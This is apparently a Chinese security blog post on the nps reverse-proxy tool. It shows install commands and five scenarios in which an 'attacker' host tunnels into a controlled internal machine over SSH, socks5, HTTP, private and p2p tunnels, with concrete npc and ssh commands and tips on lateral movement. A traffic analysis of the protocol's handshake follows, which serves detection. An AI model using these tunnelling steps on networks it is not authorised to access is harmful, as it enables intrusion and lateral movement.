0x1 简介

nps 是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持 tcp、udp 流量转发,可在网页上配置和管理各个tcp、udp隧道、内网站点代理,http、https解析等,功能强大,操作方便。

0x2 前期准备

1.安装编译

官方github下载源码进行编译:https://github.com/ehang-io/nps/

安装源码 go get -u ehang.io/nps
编译
服务端go build cmd/nps/nps.go
客户端go build cmd/npc/npc.go

官方github下载已经编译的二进制包:https://github.com/ehang-io/nps/releases

2.可通过docker安装

具体部署方式可在官方仓库拉取镜像:https://hub.docker.com/r/ffdfgdfg/npc

拉取镜像后,可通过修改nps.conf重新配置nps

0x3 实例

场景1--通过SSH访问内网设备

(1)简介

内网设备有暴露可连接的端口,比如22、3389等端口,外网无法访问。此时,攻击者可利用nps工具对内网设备进行连接。

(2)实验环境

服务端(服务端公网vps):x.x.x.x

被控端(客户端)centos7:10.8.1.1

控制端(攻击机)centos7:192.168.1.2

(3)使用

1)服务器上安装,下图为官方配置文件详解,默认配置后并启动

sudo ./nps install
sudo nps start

浏览器查看控制台服务,8024端口是nps服务端默认的绑定端口,可通过配置文件修改

2)在控制台新建一个客户端,配置密钥:1234567

3)客户端即被控端启动nps,指定vps地址和端口进行连接,控制台将会显示建立连接状态

./npc -server=x.x.x.x:8024 -vkey=1234567

4)新建一个TCP隧道,配置服务端端口:9003,目标:客户端ip:22

5)攻击机请求连接服务端ip和监听的9003端口,连接被控内网主机的ssh服务

ssh -p 9003 root@vpsip

访问控制台可见连接记录

场景2--sock5代理访问内网设备

(1)概述

环境同上,通过socks隧道建立连接。

(2)使用

1)在刚才创建的客户端,点击隧道,跳转到隧道管理,在其中添加一条socks5代理,填写监听的端口(9300)。

2)在外网环境本地进行socks5代理配置。例如,用火狐浏览器配置socks5代理服务,将网络代理配置选中Socks Host,ip配置成vps的IP,端口配置刚才的监听端口9300,即可访问内网服务。

注:windows系统可以配合proxifier进行全局代理。Linux还可以使用proxychains进行socks5配置,推荐linux使用proxychains进行配置,可以更好的联合其他工具进行嗅探收集内网信息和横向移动。

场景3-http正向代理

(1)概述

环境一致,通过socks隧道建立连接。

(2)使用

1)在刚才创建的客户端,点击隧道,跳转到隧道管理,在其中添加一条http代理,填写监听的端口(9301)。也可以在控面板的http代理制处,点击新增一条,客户端ID选择2。

2)同socks5代理,在外网环境的本机配置http代理,ip为公网服务器ip,端口为填写的监听端口(9301),即可完成对内网的访问。

场景4-私密代理

(1)概述

场景1的tcp隧道暴露了公网vps的监听端口。如果其他人得到了vps的ip,通过端口扫描得到了开放的端口,将会很容易连接上部署的tcp隧道,这是一个很不安全的行为。为了更加安全管理内网设备,nps支持建立私密代理,通过给隧道设置连接密码,增加了隧道的安全性和私密性。

(2)环境

环境同上,此时攻击机也需要配置nps客户端。

(3)使用

1)重启一个nps服务,并在nps控制面板上面新建一个客户端

./npc -server=vpsip:8024 -vkey=12345678

2)在nps控制面板上面新建的客户端中添加一条私密代理。目标配置成想要连接的内网机器IP:端口,此处设置为内网设备的22端口。唯一标识密钥任意设置,与客户端的唯一验证标识区别开。

2)受控内网主机启动nps客户端

3)攻击机启动npc客户端,配置类型为tcp,密码设置成私密代理的唯一标识密钥,除此之外,可加参数-local_port=xx,默认为2000。配置完成后,连接上nps服务的私密代理,ssh -p 2000 root@127.0.0.1即可访问ssh

场景5-p2p

概述

为了更快传输数据,nps支持p2p模式建立连接。

使用p2p模式前需要测试内网环境的NAT配置。内网环境一般进行了NAT配置,配置如果是对称型NAT,将极大降低内网隧道建立的可能性。对称型NAT的内网设备,攻击者使用p2p模式建立udp连接的时候,由于端口的随机可变性,将导致连接会中断。

nps可检测环境是否为对称型NAT,如图所示,内网设备为对称型NAT。由于后续无法使用vps做p2p穿透,便于测试,攻击机用内网设备进行穿透演示。

检测命令:./npc nat -stun_addr=stun服务器地址(网上可搜索公共stun服务器使用)

使用

1)服务端启动nps

2)在控制面板新建客户端

3)客户端网机器启动nps

./npc -server=x.x.x.x:8025 -vkey=1234567

3)客户端攻击机启动nps,并ssh登录客户端1。

注1:使用p2p模式时最好初始化重启服务端,有可能端口被大量占用而导致失败;注2:p2p模式没有成功简历连接时,将会转到普通的服务器进行转发的模式。

0x4 流量分析

针对场景1进行简单分析。Nps从建立连接到传输数据可分为四个阶段。

第一阶段建立连接。客户端和服务端在建立连接时,三次握手完成后,会进行协商。协商的头部会以"TST"字符串发出请求,并携带客户端的nps版本号与服务端进行确认。协商的目的是确认通信双方使用的nps版本属于同一个nps大版本下。如图所示,"0.26.0"是nps的一个大版本号,在这个大版本下有很多分支,本次测试使用的是0.26.10这个小版本分支。服务端收到协商请求确认后,将会返回服务端的nps大版本号的一个32位hash值,此处测试的nps大版本号为0.26.0。一旦双方检验通过后,返回"sucs"表示隧道协商通过,客户端通过命令"main"发起下一步的任务,至此连接完成。

第二阶段通信准备。命令从main变成了chan,表示隧道建立后,正在等待数据的传输。建立完成后,为了检验隧道处于存活状态,nps设置了5s的心跳包。如图所示,以json格式传输的内容主要包括几个部分。

"ConnType":"tcp",指定隧道为tcp隧道;

"Host":"10.8.58.239:22",表示建立隧道的客户端主机;

"Crypt":false,表示不进行加密传输

"Compress":false,",不对数据进行压缩

LocalProxy":false,不使用代理

"RemoteAddr":"x.x.x.x:53498",指定分配与被控制端ip和端口进行数据传输

"Option":{"Timeout":5000000000}},延迟5000000000,可修改;

第三阶段传输数据。在前期准备就绪后,便可以进行具体数据的传输。此处为ssh通信数据。

攻击机通过53498端口与设定的服务端监听的9003端口进行通信,转发数据;服务端的8024与9003端口在本地进行转发建立连接。

~~本文作者:Janitor010,更多更详细更专业安全文章欢迎关注公众号:捕影白帽子

内网渗透工具-反向代理nps使用分析相关推荐

  1. 【内网渗透工具】炫彩蛇安装教程

    点击查看[学习资料] Viper是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化. Viper基础功能已集成杀软绕过,内网隧道,文件管理,增强命令行等基础功能. Viper ...

  2. 群晖Bitwarden内网穿透https反向代理

    查询了很多资料,看得我不是很明白,所以想整理一下群晖Bitwarden内网穿透https反向代理教程.本教程适用于docker所有项目端口反向代理,我以Bitwarden为例子进行教学. 1. 确认证 ...

  3. 内网渗透-红队内网渗透工具(Viper)

    最近发现一款很强大的内网渗透工具Viper 接下来我给大家介绍一下具体的安装过程,这里我在kali上进行安装 (1)首先打开kali终端,切换到root用户,确认以下操作都在root用户下操作,sud ...

  4. 5款最好用的内网渗透工具,切勿用作非法途径

    公众号开发过程中,频繁修改线上代码,开发过程比较繁琐,同时一旦出错将会影响到线上的其他正常业务,因此搭建一个微信公众号开发的本地环境能达到不影响线上业务的同时调试代码.这里推荐几款非常好用的内网穿透工 ...

  5. 内网渗透工具Cobalt Strike 基础使用

    Cobalt Strike:C/S架构的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透. Cobalt Strike一款GUI的框架式渗透工具,集成了端口转发.服务扫描,自动 ...

  6. 内网渗透之Msf-Socks代理实战(CFS三层靶场渗透过程及思路)

    前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 内网渗透专栏:https://blog.csdn.net ...

  7. 内网渗透测试:NTLM Relay攻击分析

    目录 基础知识 NTLM认证过程 NTLM中继攻击原理 获得Net-NTLM Relay的思路 利用LLMNR和NetBIOS欺骗获得Net-NTLMHash 利用WPAD劫持获得Net-NTLMHa ...

  8. 铭说 | 内网渗透工具分析——reGeorg

    01 前言 通常情况下用户认为将数据和业务分离,只将业务A服务器对外开放,让数据服务器B不对外开放,那么即使用户的A服务器失陷,数据依然保存在内网中,不会被黑客直接访问.用户认为这种方式可以尽可能降低 ...

  9. 内网渗透之Socks代理简介

    目录 Socks代理简介 01什么是Socks 02什么是Socks代理 Socks代理工具简介 01EarthWorm 02FRP 03ProxyChains 04other Socks代理简介 0 ...

  10. 内网穿透、反向代理(ngrok服务器搭建)

    内网穿透的目的是:让外网能访问你本地的应用,例如在外网打开你本地http://127.0.0.1指向的Web站点. 一.ngrok ngrok是一个反向代理,通过在公共的端点和本地运行的Web服务器之 ...

最新文章

  1. 第17节 业务流程管理和重组
  2. nginx在linux上安装,Nginx在linux上安装步骤
  3. core identity mysql_Asp.Net Core Identity 4 改成 MySql/MariaDB
  4. css在线留言星号,使用CSS 给表单必选项添加星号的实现方法
  5. 切换node版本 nvm 的基本使用 -- 以及安装公司特有的镜像源
  6. tolowercase_Java String toLowerCase()方法与示例
  7. 1400协议是什么和28181区别_1400张拆解案例,够你PPT拆解学习好几遍了!
  8. javascript中的this讲解
  9. Python3 爬虫(一)-- 简单网页抓取
  10. influxdb 插入数据_Influx Sql系列教程五:insert 添加数据
  11. tensorflow 安装_安装tensorflow-gpu 2.0
  12. java包装_Java罐密封包装
  13. apache netbeans ide为什么安装不了_Eclipse安装及常见的基于Eclipse的嵌入式集成开发环境...
  14. uni中一些插件的使用
  15. 绿联网卡转接mac设置_绿联外置网卡Mac os 11.0 Big Sur驱动方案来了
  16. 学习淘宝分享出来的链接web检测打开原生App
  17. HDU-2017 多校训练赛9-1005-FFF at Valentine
  18. 混合算法(SA+TS)解决TSP问题——lua实现(Microcity)
  19. Doris:部署Broker
  20. Java专项练习二(选择题)

热门文章

  1. sheng的学习笔记-mysql框架原理
  2. 2020年4月,全国程序员平均工资14249元
  3. 图像处理 抗锯齿放大_什么是抗锯齿,它如何影响我的照片和图像?
  4. JS阻止浏览器刷新的方法
  5. 分享Canvas画横断面图的vue源码
  6. 【pip Error】ERROR: Cannot determine archive format of C:\Users\YDD\AppData\Local\Temp\pip-req-build-
  7. [BZOJ2286] [Sdoi2011]消耗战
  8. python-qbittorrent+爬虫第二弹:爬取国内某bt站内容、分析页面,批量导入qbittorrent并下载归档
  9. 细粒度情感分析在到餐场景中的应用
  10. HGET key field